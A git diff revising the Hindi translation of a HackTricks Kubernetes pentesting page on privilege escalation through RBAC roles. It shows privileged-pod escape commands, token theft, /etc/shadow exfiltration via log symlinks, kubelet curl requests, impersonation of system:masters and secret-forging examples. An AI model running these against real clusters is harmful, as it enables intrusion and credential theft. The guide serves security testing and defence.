diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index aaf4acec7..573b09e39 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -2,22 +2,22 @@ {{#include ../../../banners/hacktricks-training.md}} -यहाँ आप कुछ संभावित खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन पा सकते हैं।\ -याद रखें कि आप `kubectl api-resources` के साथ सभी समर्थित संसाधन प्राप्त कर सकते हैं। +यहाँ आप कुछ संभावित रूप से खतरनाक Roles और ClusterRoles कॉन्फ़िगरेशन पा सकते हैं।\ +याद रखें कि आप सभी समर्थित resources को `kubectl api-resources` से प्राप्त कर सकते हैं -## **विशेषाधिकार वृद्धि** +## **Privilege Escalation** -इसका मतलब है **क्लस्टर के भीतर एक अलग प्रिंसिपल** तक **विभिन्न विशेषाधिकारों** के साथ पहुँच प्राप्त करना (कubernetes क्लस्टर के भीतर या बाहरी क्लाउड के लिए) जो आपके पास पहले से हैं, Kubernetes में विशेषाधिकार बढ़ाने के लिए मूल रूप से **4 मुख्य तकनीकें** हैं: +क्लस्टर के भीतर किसी अन्य principal तक **access to a different principal** प्राप्त करने की कला — जो आपके मौजूदा अधिकारों से **with different privileges** हो (within the kubernetes cluster or to external clouds) — Privilege Escalation कहलाती है। Kubernetes में बेसिकली **4 main techniques to escalate privileges** हैं: -- अन्य उपयोगकर्ता/समूह/एसए को **प्रतिनिधित्व** करने में सक्षम होना जिनके पास kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार हैं -- **पॉड्स बनाना/पैच करना/कार्यक्रम चलाना** जहाँ आप kubernetes क्लस्टर के भीतर या बाहरी क्लाउड में बेहतर विशेषाधिकार वाले एसए को **पाना या संलग्न** कर सकते हैं -- **गुप्त पढ़ने** में सक्षम होना क्योंकि एसए टोकन गुप्त के रूप में संग्रहीत होते हैं -- एक कंटेनर से **नोड पर भागने** में सक्षम होना, जहाँ आप नोड पर चल रहे कंटेनरों के सभी गुप्त, नोड के क्रेडेंशियल और नोड के भीतर क्लाउड में चलने वाले अनुमतियों को चुरा सकते हैं (यदि कोई हो) -- एक पांचवीं तकनीक जिसका उल्लेख किया जाना चाहिए वह है **पॉड में पोर्ट-फॉरवर्ड** चलाने की क्षमता, क्योंकि आप उस पॉड के भीतर दिलचस्प संसाधनों तक पहुँच प्राप्त कर सकते हैं। +- करने में सक्षम होना **impersonate** other user/groups/SAs जिनके पास बेहतर privileges हों within the kubernetes cluster या to external clouds +- करने में सक्षम होना **create/patch/exec pods** जहाँ आप **find or attach SAs** कर सकते हैं जिनके पास बेहतर privileges within the kubernetes cluster या to external clouds +- करने में सक्षम होना **read secrets** क्योंकि SAs tokens secrets के रूप में स्टोर होते हैं +- container से करने में सक्षम होना **escape to the node**, जहाँ आप node पर चल रहे containers के सभी secrets, node के credentials, और उस node के cloud permissions (यदि कोई हों) चुरा सकते हैं +- एक पाँचवीं तकनीक जिसका उल्लेख योग्य है वह है pod में **run port-forward** करने की क्षमता, क्योंकि आप उस pod के अंदर रुचिकर resources तक पहुँच सकते हैं। -### किसी भी संसाधन या क्रिया (वाइल्डकार्ड) तक पहुँच +### किसी भी Resource या Verb तक पहुँच (Wildcard) -**वाइल्डकार्ड (\*) किसी भी क्रिया के साथ किसी भी संसाधन पर अनुमति देता है**। इसका उपयोग प्रशासकों द्वारा किया जाता है। एक ClusterRole के भीतर इसका मतलब है कि एक हमलावर क्लस्टर में किसी भीnamespace का दुरुपयोग कर सकता है। +**wildcard (\*) किसी भी resource पर किसी भी verb के लिए permission देता है**। इसे admins उपयोग करते हैं। ClusterRole के अंदर इसका मतलब है कि एक attacker क्लस्टर के किसी भी namespace का दुरुपयोग कर सकता है ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,13 +29,13 @@ rules: resources: ["*"] verbs: ["*"] ``` -### किसी विशेष क्रिया के साथ किसी भी संसाधन तक पहुँचें +### किसी विशिष्ट क्रिया के साथ किसी भी संसाधन तक पहुँच -RBAC में, कुछ अनुमतियाँ महत्वपूर्ण जोखिम उत्पन्न करती हैं: +RBAC में, कुछ अनुमतियाँ गंभीर जोखिम पैदा करती हैं: -1. **`create`:** किसी भी क्लस्टर संसाधन को बनाने की क्षमता प्रदान करता है, जिससे विशेषाधिकार वृद्धि का जोखिम होता है। -2. **`list`:** सभी संसाधनों की सूची बनाने की अनुमति देता है, संभावित रूप से संवेदनशील डेटा लीक कर सकता है। -3. **`get`:** सेवा खातों से रहस्यों तक पहुँचने की अनुमति देता है, जो सुरक्षा के लिए खतरा है। +1. **`create`:** किसी भी क्लस्टर संसाधन को बनाने की क्षमता देता है, जिससे privilege escalation का जोखिम होता है। +2. **`list`:** सभी संसाधनों को सूचीबद्ध करने की अनुमति देता है, संभावित रूप से leaking संवेदनशील डेटा। +3. **`get`:** service accounts से secrets तक पहुँचने की अनुमति देता है, जो सुरक्षा खतरे का कारण बनता है। ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -एक हमलावर जिसके पास एक पोड बनाने की अनुमति है, वह पोड में एक विशेषाधिकार प्राप्त सेवा खाता संलग्न कर सकता है और सेवा खाते की पहचान चुराने के लिए टोकन चुरा सकता है। प्रभावी रूप से इसके लिए विशेषाधिकार बढ़ाना +Pod बनाने की अनुमति रखने वाला attacker एक privileged Service Account को pod में attach कर सकता है और उसके token को चुरा कर उस Service Account का impersonate कर सकता है। परिणामस्वरूप उसके विशेषाधिकार बढ़ जाते हैं। -एक पोड का उदाहरण जो `bootstrap-signer` सेवा खाते का टोकन चुराएगा और इसे हमलावर को भेजेगा: +ऐसा pod का उदाहरण जो `bootstrap-signer` service account के token को चुरा कर attacker को भेज देगा: ```yaml apiVersion: v1 kind: Pod @@ -74,12 +74,12 @@ hostNetwork: true ``` ### Pod Create & Escape -निम्नलिखित सभी विशेषाधिकारों को दर्शाता है जो एक कंटेनर हो सकता है: +The following indicates all the privileges a container can have: -- **Privileged access** (सुरक्षाओं को अक्षम करना और क्षमताओं को सेट करना) -- **Disable namespaces hostIPC and hostPid** जो विशेषाधिकारों को बढ़ाने में मदद कर सकते हैं -- **Disable hostNetwork** namespace, नोड्स के क्लाउड विशेषाधिकारों को चुराने और नेटवर्कों तक बेहतर पहुंच देने के लिए -- **Mount hosts / inside the container** +- **Privileged access** (प्रोटेक्शनों को अक्षम करना और capabilities सेट करना) +- **Disable namespaces hostIPC and hostPid** (जो विशेषाधिकार वृद्धि में मदद कर सकते हैं) +- **Disable hostNetwork** namespace, (जो nodes के क्लाउड अधिकार चुराने और नेटवर्कों तक बेहतर पहुँच देने का मौका देता है) +- **Mount hosts / inside the container** (container के अंदर hosts का / mount करना) ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -115,17 +115,19 @@ volumes: hostPath: path: / ``` -पॉड बनाएं: +Pod बनाएँ: ```bash kubectl --token $token create -f mount_root.yaml ``` -एक लाइनर [इस ट्वीट](https://twitter.com/mauilion/status/1129468485480751104) से और कुछ अतिरिक्त के साथ: +One-liner from [this tweet](https://twitter.com/mauilion/status/1129468485480751104) से लिया गया, कुछ अतिरिक्त परिवर्धनों के साथ: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` +अब जब आप node से escape कर सकते हैं, तो post-exploitation techniques के लिए देखें: + #### Stealth -आप शायद **stealthier** होना चाहेंगे, निम्नलिखित पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में उल्लेखित कुछ विशेषाधिकारों को सक्षम करके एक पोड बनाते हैं तो आप क्या एक्सेस कर पाएंगे: +आप शायद और भी **stealthier** होना चाहेंगे; नीचे के पृष्ठों में आप देख सकते हैं कि यदि आप पिछले टेम्पलेट में बताए गए कुछ ही privileges को सक्षम करके एक pod बनाते हैं तो आप किन चीज़ों तक पहुँच पाएंगे: - **Privileged + hostPID** - **Privileged only** @@ -134,14 +136,14 @@ kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hos - **hostNetwork** - **hostIPC** -_आप पिछले विशेषाधिकार प्राप्त पोड कॉन्फ़िगरेशन को बनाने/दुरुपयोग करने के उदाहरण [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) में पा सकते हैं।_ +_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud -यदि आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप **cloud environment में विशेषाधिकार प्राप्त करने** में सक्षम हो सकते हैं **एक पोड या सेवा खाते को क्लाउड भूमिकाएँ सौंपकर** और फिर इसे एक्सेस करके।\ -इसके अलावा, यदि आप **host network namespace** के साथ एक **pod** बना सकते हैं तो आप **node** इंस्टेंस की IAM भूमिका **चुरा** सकते हैं। +अगर आप **create** कर सकते हैं एक **pod** (और वैकल्पिक रूप से एक **service account**) तो आप संभवतः **cloud environment में privileges प्राप्त** कर सकते हैं by **assigning cloud roles to a pod or a service account** और फिर उसे access करके।\ +इसके अलावा, अगर आप host network namespace के साथ एक **pod** बना सकते हैं तो आप **node** instance के **IAM** role को **steal** कर सकते हैं। -अधिक जानकारी के लिए देखें: +For more information check: {{#ref}} pod-escape-privileges.md @@ -149,9 +151,9 @@ pod-escape-privileges.md ### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs** -इन अनुमतियों का दुरुपयोग करके **एक नया पोड** बनाना और पिछले उदाहरण की तरह विशेषाधिकार स्थापित करना संभव है। +इन permissions का abuse करके एक नया pod create करना और पिछले उदाहरण की तरह privileges escalate करना संभव है। -निम्नलिखित yaml **एक डेमनसेट बनाता है और पोड के अंदर SA के टोकन को एक्सफिल्ट्रेट करता है:** +The following yaml **creates a daemonset and exfiltrates the token of the SA** inside the pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -189,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** kubernetes में एक संसाधन है जो **एक पॉड के अंदर एक शेल में कमांड चलाने के लिए** उपयोग किया जाता है। यह **कंटेनरों के अंदर कमांड चलाने या एक शेल के अंदर जाने** की अनुमति देता है। +**`pods/exec`** kubernetes में एक resource है जो **pod के अंदर shell में कमांड चलाने** के लिए उपयोग होता है। यह आपको **containers के अंदर कमांड चलाने या shell प्राप्त करने** की अनुमति देता है। -इसलिए, यह संभव है कि **एक पॉड के अंदर जाएं और SA का टोकन चुरा लें**, या एक विशेषाधिकार प्राप्त पॉड में प्रवेश करें, नोड पर भागें, और नोड में सभी पॉड्स के टोकन चुरा लें और (ab)node का उपयोग करें: +इसलिए, यह संभव है कि आप **pod के अंदर जाकर SA का token चोरी कर लें**, या किसी privileged pod में प्रवेश कर, node पर escape कर, और node में मौजूद pods के सभी tokens चुरा कर node का (ab)use कर सकें: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> डिफ़ॉल्ट रूप से, कमांड पॉड के पहले कंटेनर में निष्पादित होता है। `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` के साथ **कंटेनर में सभी पॉड्स प्राप्त करें** और फिर `kubectl exec -it -c -- sh` के साथ **कंटेनर को इंगित करें** जहां आप इसे निष्पादित करना चाहते हैं। +> डिफ़ॉल्ट रूप से यह कमांड pod के पहले container में निष्पादित होता है। `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` चलाकर **container में सभी pods** प्राप्त करें और फिर उस container को जिसे आप निष्पादित करना चाहते हैं, `kubectl exec -it -c -- sh` के साथ **निर्दिष्ट करें**। -यदि यह एक डिस्ट्रोलैस कंटेनर है, तो आप कंटेनरों की जानकारी प्राप्त करने के लिए **शेल बिल्ट-इन्स** का उपयोग करने या **busybox** जैसे अपने उपकरणों को अपलोड करने का प्रयास कर सकते हैं: **`kubectl cp :`**। +यदि यह एक distroless container है तो आप containers की जानकारी पाने के लिए **shell builtins** का उपयोग करने की कोशिश कर सकते हैं या अपना टूल जैसे एक **busybox** अपलोड करके इस्तेमाल कर सकते हैं: **`kubectl cp :`**। ### port-forward -यह अनुमति **एक स्थानीय पोर्ट को निर्दिष्ट पॉड में एक पोर्ट पर अग्रेषित करने** की अनुमति देती है। इसका उद्देश्य पॉड के अंदर चल रहे अनुप्रयोगों को आसानी से डिबग करना है, लेकिन एक हमलावर इसका दुरुपयोग करके पॉड के अंदर दिलचस्प (जैसे DBs) या कमजोर अनुप्रयोगों (वेब?) तक पहुंच प्राप्त कर सकता है: +यह permission आपको **एक लोकल पोर्ट को निर्दिष्ट pod के एक पोर्ट पर फॉरवर्ड करने** की अनुमति देता है। यह pod के अंदर चल रही applications को आसानी से debug करने के लिए है, लेकिन एक attacker इसका दुरुपयोग कर सकता है ताकि वह pod के अंदर के रोचक (जैसे DBs) या vulnerable applications (जैसे web?) तक पहुँच प्राप्त कर सके: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -As [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), यदि आप एक पॉड तक पहुँच सकते हैं या एक पॉड बना सकते हैं जिसमें **होस्ट का `/var/log/` डायरेक्टरी माउंटेड** है, तो आप **कंटेनर से बाहर निकल सकते हैं**।\ -यह मूल रूप से इस कारण है कि जब **Kube-API एक कंटेनर के लॉग प्राप्त करने की कोशिश करता है** (using `kubectl logs `), तो यह **पॉड के `0.log`** फ़ाइल को **Kubelet** सेवा के `/logs/` एंडपॉइंट का उपयोग करके अनुरोध करता है।\ -Kubelet सेवा `/logs/` एंडपॉइंट को उजागर करती है जो मूल रूप से **कंटेनर के `/var/log` फ़ाइल सिस्टम को उजागर कर रही है**। +जैसा कि [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), अगर आप किसी pod तक एक्सेस कर सकते हैं या ऐसा pod बना सकते हैं जिस पर **hosts `/var/log/` directory mounted** हो, तो आप **escape from the container** कर सकते हैं।\ +यह इसलिए है क्योंकि जब **Kube-API tries to get the logs** किसी container के (using `kubectl logs `), तो यह `/logs/` endpoint के माध्यम से उस pod की `0.log` फ़ाइल **requests the `0.log`** करता है।\ +Kubelet service `/logs/` endpoint को expose करता है जो मूलतः **कंटेनर के `/var/log` filesystem को exposing** करने जैसा है। -इसलिए, एक हमलावर जिसके पास **कंटेनर के /var/log/ फ़ोल्डर में लिखने की पहुँच है** वह इस व्यवहार का दुरुपयोग 2 तरीकों से कर सकता है: +इसलिए, कंटेनर के /var/log/ फोल्डर में लिखने की **access to write in the /var/log/ folder** रखने वाला attacker इन व्यवहारों का दुरुपयोग दो तरीकों से कर सकता है: -- अपने कंटेनर के `0.log` फ़ाइल को संशोधित करना (जो आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित होता है) ताकि यह एक **सिंबलिंक हो जो `/etc/shadow`** की ओर इशारा करता हो, उदाहरण के लिए। फिर, आप निम्नलिखित करके होस्ट का शैडो फ़ाइल निकालने में सक्षम होंगे: +- अपने container की `0.log` फ़ाइल (आमतौर पर `/var/logs/pods/namespace_pod_uid/container/0.log` में स्थित) को, उदाहरण के लिए, **symlink pointing to `/etc/shadow`** में modify करना। फिर, आप hosts shadow file को exfiltrate कर पाएँगे ऐसा करके: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -222,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- यदि हमलावर के पास **`nodes/log`** पढ़ने की **अनुमतियाँ** हैं, तो वह बस `/host-mounted/var/log/sym` में `/` के लिए एक **symlink** बना सकता है और जब **`https://:10250/logs/sym/`** पर पहुँचता है, तो वह होस्ट की रूट फ़ाइल प्रणाली को सूचीबद्ध करेगा (symlink को बदलने से फ़ाइलों तक पहुँच मिल सकती है)। +- अगर हमलावर किसी भी principal को नियंत्रित करता है जिसके पास **`nodes/log` पढ़ने की अनुमतियाँ** हैं, तो वह बस `/host-mounted/var/log/sym` में `/` की ओर एक **symlink** बना सकता है और जब **`https://:10250/logs/sym/` तक पहुँचने पर वह होस्ट के root** फ़ाइल सिस्टम को सूचीबद्ध करेगा (symlink बदलने से फाइलों तक पहुँच मिल सकती है). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -234,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**एक प्रयोगशाला और स्वचालित शोषण पाया जा सकता है** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**एक प्रयोगशाला और स्वचालित exploit इस लिंक में पाया जा सकता है** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### readOnly सुरक्षा को बायपास करना -यदि आप भाग्यशाली हैं और उच्च विशेषाधिकार प्राप्त क्षमता `CAP_SYS_ADMIN` उपलब्ध है, तो आप बस फ़ोल्डर को rw के रूप में फिर से माउंट कर सकते हैं: +यदि आप भाग्यशाली हैं और उच्च-विशेषाधिकार capability `CAP_SYS_ADMIN` उपलब्ध है, तो आप फ़ोल्डर को बस rw के रूप में remount कर सकते हैं: ```bash mount -o rw,remount /hostlogs/ ``` #### Bypassing hostPath readOnly protection -जैसा कि [**इस शोध**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) में कहा गया है, सुरक्षा को बायपास करना संभव है: +जैसा कि [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) में कहा गया है, सुरक्षा को bypass करना संभव है: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -जो पिछले जैसे भागने को रोकने के लिए था, एक hostPath माउंट का उपयोग करने के बजाय, एक PersistentVolume और एक PersistentVolumeClaim का उपयोग करके कंटेनर में लिखने योग्य पहुंच के साथ एक होस्ट फ़ोल्डर को माउंट करें: +जो पिछले escapes जैसे मामलों को रोकने के लिए था — hostPath mount का उपयोग करने के बजाय, PersistentVolume और PersistentVolumeClaim का उपयोग करके container में hosts folder को writable access के साथ mount करने के लिए: ```yaml apiVersion: v1 kind: PersistentVolume @@ -296,11 +298,11 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **विशिष्ट खातों का अनुकरण करना** +### **विशेषाधिकार प्राप्त खातों का अनुकरण** -एक [**उपयोगकर्ता अनुकरण**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) विशेषता के साथ, एक हमलावर एक विशिष्ट खाता अनुकरण कर सकता है। +यदि किसी के पास [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation) का अधिकार है, तो एक attacker किसी विशेषाधिकार प्राप्त खाते का अनुकरण कर सकता है। -बस `kubectl` कमांड में `--as=` पैरामीटर का उपयोग करें एक उपयोगकर्ता का अनुकरण करने के लिए, या `--as-group=` का उपयोग करें एक समूह का अनुकरण करने के लिए: +किसी उपयोगकर्ता का अनुकरण करने के लिए `kubectl` कमांड में पैरामीटर `--as=` का उपयोग करें, या किसी समूह का अनुकरण करने के लिए `--as-group=`: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters @@ -313,16 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listing Secrets +### Secrets को सूचीबद्ध करना -**गुप्त सूचनाओं की सूची बनाने की अनुमति एक हमलावर को वास्तव में गुप्त सूचनाओं को पढ़ने की अनुमति दे सकती है** REST API एंडपॉइंट तक पहुँचकर: +REST API endpoint को एक्सेस करके **list secrets की अनुमति एक attacker को वास्तव में secrets पढ़ने में सक्षम कर सकती है**: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Creating and Reading Secrets +### Secrets बनाना और पढ़ना -Kubernetes के एक विशेष प्रकार के सीक्रेट **kubernetes.io/service-account-token** होते हैं जो serviceaccount टोकन को स्टोर करते हैं। -यदि आपके पास सीक्रेट बनाने और पढ़ने की अनुमति है, और आप serviceaccount का नाम भी जानते हैं, तो आप निम्नलिखित तरीके से एक सीक्रेट बना सकते हैं और फिर इससे पीड़ित serviceaccount का टोकन चुरा सकते हैं: +Kubernetes secret का एक विशेष प्रकार होता है जिसका type **kubernetes.io/service-account-token** होता है, जो serviceaccount tokens को स्टोर करता है। +यदि आपके पास secrets को create और read करने की permissions हैं, और आपको serviceaccount का नाम पता है, तो आप नीचे दिए अनुसार एक secret बना सकते हैं और फिर उससे victim serviceaccount का token चुरा सकते हैं: ```yaml apiVersion: v1 kind: Secret @@ -333,7 +335,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -उदाहरण शोषण: +उदाहरण exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -381,17 +383,17 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -ध्यान दें कि यदि आपको किसी विशेष namespace में secrets बनाने और पढ़ने की अनुमति है, तो पीड़ित serviceaccount भी उसी namespace में होना चाहिए। +Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace. -### एक secret पढ़ना – टोकन IDs का ब्रूट-फोर्सिंग +### एक secret पढ़ना – brute-forcing token IDs -जब एक हमलावर के पास पढ़ने की अनुमति वाला एक टोकन होता है, तो उसे इसका उपयोग करने के लिए secret का सही नाम चाहिए होता है, जबकि व्यापक _**secrets की सूची**_ विशेषता के विपरीत, अभी भी कमजोरियाँ हैं। सिस्टम में डिफ़ॉल्ट service accounts को सूचीबद्ध किया जा सकता है, प्रत्येक एक secret से जुड़ा होता है। इन secrets का नाम संरचना होती है: एक स्थिर उपसर्ग उसके बाद एक यादृच्छिक पांच-चर अल्फ़ान्यूमेरिक टोकन (कुछ वर्णों को छोड़कर) [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) के अनुसार। +जब attacker के पास read permissions वाला token होता है, तो उसे secret का बिल्कुल सही नाम चाहिए होता है ताकि वह उसे उपयोग कर सके; broader _**listing secrets**_ privilege के विपरीत, फिर भी कुछ कमजोरियाँ मौजूद हैं। सिस्टम के default service accounts को enumerate किया जा सकता है, और प्रत्येक का association एक secret से होता है। इन secrets के नाम की संरचना इस प्रकार है: एक static prefix के बाद एक random पाँच-चरित्र वाला alphanumeric token (कुछ characters को छोड़कर), जैसा कि [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83) में दिखता है। -टोकन एक सीमित 27-चर सेट (`bcdfghjklmnpqrstvwxz2456789`) से उत्पन्न होता है, न कि पूर्ण अल्फ़ान्यूमेरिक रेंज से। यह सीमा कुल संभावित संयोजनों को 14,348,907 (27^5) तक कम कर देती है। परिणामस्वरूप, एक हमलावर संभवतः कुछ घंटों में टोकन का पता लगाने के लिए एक ब्रूट-फोर्स हमले को निष्पादित कर सकता है, जो संवेदनशील service accounts तक पहुँचने के द्वारा विशेषाधिकार वृद्धि की संभावना को जन्म दे सकता है। +यह token पूर्ण alphanumeric रेंज की बजाय सीमित 27-character सेट (`bcdfghjklmnpqrstvwxz2456789`) से जनरेट होता है। इस प्रतिबंध के कारण संभावित combinations की कुल संख्या 14,348,907 (27^5) हो जाती है। नतीजतन, एक attacker कुछ घंटों में token को अनुमान लगाने के लिए brute-force attack करने में सक्षम हो सकता है, जिससे संवेदनशील service accounts तक पहुँच कर privilege escalation संभव हो सकता है। -### EncrpytionConfiguration स्पष्ट पाठ में +### EncrpytionConfiguration in clear text -इस प्रकार की वस्तु में डेटा को स्थिर करने के लिए एन्क्रिप्ट करने के लिए स्पष्ट पाठ कुंजी खोजना संभव है जैसे: +इस प्रकार के object में यह संभव है कि आप clear text keys पाएँ जो data at rest को encrypt करने के लिए उपयोग होते हैं, उदाहरण के लिए: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -448,13 +450,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Certificate Signing Requests +### प्रमाणपत्र साइनिंग अनुरोध -यदि आपके पास संसाधन `certificatesigningrequests` में **`create`** क्रिया है (या कम से कम `certificatesigningrequests/nodeClient` में)। आप **एक नए नोड का** नया CeSR **बनाने** में सक्षम हैं। +यदि आपके पास resource `certificatesigningrequests` (या कम से कम `certificatesigningrequests/nodeClient`) में verbs **`create`** हैं, तो आप एक **नए node** का नया CeSR बना सकते हैं। -[दस्तावेज़ के अनुसार, इन अनुरोधों को स्वचालित रूप से स्वीकृत करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए उस मामले में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि नहीं, तो आपको अनुरोध को स्वीकृत करने में सक्षम होना चाहिए, जिसका अर्थ है `certificatesigningrequests/approval` में अपडेट करना और `signers` में `approve` करना, जिसमें resourceName `/` या `/*` हो। +दस्तावेज़ों के अनुसार [इन अनुरोधों को auto approve करना संभव है](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), इसलिए उस स्थिति में आपको **अतिरिक्त अनुमतियों की आवश्यकता नहीं है**। यदि ऐसा नहीं है, तो आपको अनुरोध को approve करने में सक्षम होना चाहिए, यानी `certificatesigningrequests/approval` में update और `signers` में approve करने की अनुमति होनी चाहिए, resourceName `/` या `/*` के साथ। -एक **भूमिका का उदाहरण** जिसमें सभी आवश्यक अनुमतियाँ हैं: +सभी आवश्यक permissions के साथ एक **role का उदाहरण** है: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -485,19 +487,19 @@ resourceNames: verbs: - approve ``` -तो, नए नोड CSR के अनुमोदित होने के साथ, आप नोड्स की विशेष अनुमतियों का **दुरुपयोग** करके **गुप्त जानकारियाँ चुरा सकते हैं** और **अधिकार बढ़ा सकते हैं**। +तो, नए node CSR को अनुमोदित किए जाने के बाद, आप नोड्स की विशेष अनुमतियों का **abuse** करके **steal secrets** और **escalate privileges** कर सकते हैं। -[**इस पोस्ट**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) और [**इस एक**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS बूटस्ट्रैप कॉन्फ़िगरेशन को **स्वचालित हस्ताक्षर** के साथ कॉन्फ़िगर किया गया है और इसका **दुरुपयोग** करके एक नए K8s नोड के क्रेडेंशियल्स उत्पन्न किए जाते हैं और फिर उन क्रेडेंशियल्स का उपयोग करके गुप्त जानकारियाँ चुराकर अधिकार बढ़ाए जाते हैं।\ -यदि आपके पास **उल्लेखित अधिकार हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण उस त्रुटि को बायपास करता है जो नए नोड को कंटेनरों के अंदर गुप्त जानकारियों तक पहुँचने से रोकता है क्योंकि **नोड केवल उन कंटेनरों के गुप्त जानकारियों तक पहुँच सकता है जो उस पर माउंट किए गए हैं।** +In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) में GKE K8s TLS Bootstrap विन्यास **automatic signing** के साथ कॉन्फ़िगर है और इसका दुरुपयोग करके नए K8s Node के credentials जनरेट किए जाते हैं और फिर उनका दुरुपयोग कर उन्हें escalate privileges by stealing secrets के लिए इस्तेमाल किया जाता है।\ +यदि आप **उल्लेखित privileges रखते हैं तो आप वही कर सकते हैं**। ध्यान दें कि पहला उदाहरण उस error को बाइपास करता है जो नए node को containers के अंदर के secrets तक पहुँचने से रोकता है, क्योंकि एक **node केवल उन containers के secrets तक ही पहुँच सकता है जो उस पर mounted हैं।** -इसका बायपास करने का तरीका बस यह है कि **उस नोड नाम के लिए नोड क्रेडेंशियल्स बनाएं जहाँ दिलचस्प गुप्त जानकारियों वाला कंटेनर माउंट किया गया है** (लेकिन पहले पोस्ट में इसे करने का तरीका देखें): +इसे बायपास करने का तरीका बस यही है कि **create a node credentials for the node name where the container with the interesting secrets is mounted** (लेकिन कैसे करना है, यह पहले post में देखें): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -EKS (AWS में होना आवश्यक) क्लस्टरों पर kube-system namespace में **`configmaps`** को संशोधित करने वाले प्रिंसिपल **aws-auth** configmap को ओवरराइट करके क्लस्टर एडमिन विशेषाधिकार प्राप्त कर सकते हैं।\ -आवश्यक क्रियाएँ **`update`** और **`patch`** हैं, या यदि configmap नहीं 